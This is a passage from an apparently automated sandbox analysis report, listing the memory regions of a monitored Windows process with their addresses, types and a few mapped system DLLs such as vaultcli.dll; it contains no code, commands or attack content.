"" Region: id = 742 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 743 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 744 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 745 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 746 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 747 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 748 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 749 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 750 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 751 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 752 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 753 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 754 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 755 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 756 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 757 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 758 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 759 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 760 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 761 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 762 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 763 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 764 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 765 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 766 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 767 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 768 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 769 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 770 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 771 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 772 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 773 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 774 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 775 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 776 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 777 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 778 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 779 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 780 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 781 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 782 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 783 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 784 start_va = 0x23b0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 785 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 786 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 787 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 788 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 789 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 790 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 791 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 792 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 793 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 794 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 795 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 796 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 797 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 798 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 799 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 800 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 801 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 802 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 803 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 804 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 805 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 806 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 807 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 808 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 809 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 810 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 811 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 812 start_va = 0x6f940000 end_va = 0x6f979fff monitored = 0 entry_point = 0x6f959be0 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 813 start_va = 0x741f0000 end_va = 0x742b7fff monitored = 0 entry_point = 0x7425ae90 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 814 start_va = 0x2220000 end_va = 0x2223fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 815 start_va = 0x23b0000 end_va = 0x23b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll") Region: id = 816 start_va = 0x23c0000 end_va = 0x23cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui") Region: id = 817 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 818 start_va = 0x23d0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 819 start_va = 0x3640000 end_va = 0x364ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003640000" filename = "" Region: id = 820 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 821 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 822 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 823 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 824 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 825 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 826 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 827 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 828 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 829 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 830 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 831 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 832 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 833 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 834 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 835 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 836 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 837 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 838 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 839 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 840 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 841 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 842 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 843 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 844 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 845 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 846 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 847 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 848 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 849 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 850 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 851 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 852 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 853 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 854 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 855 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 856 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 857 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 858 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 859 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 860 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 861 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 862 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 863 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 864 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 865 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 866 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 867 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 868 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 869 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 870 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 871 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 872 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 873 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 874 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 875 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 876 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 877 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 878 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 879 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 880 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 881 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 882 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 883 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 884 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 885 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 886 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 887 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 888 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 889 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 890 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 891 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 892 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 893 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 894 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 895 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 896 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 897 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 898 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 899 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 900 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 901 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 902 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 903 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 904 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 905 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 906 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 907 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 908 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 909 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 910 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 911 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 912 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 913 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 914 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 915 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 916 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 917 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 918 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 919 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 920 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 921 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 922 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 923 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 924 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = 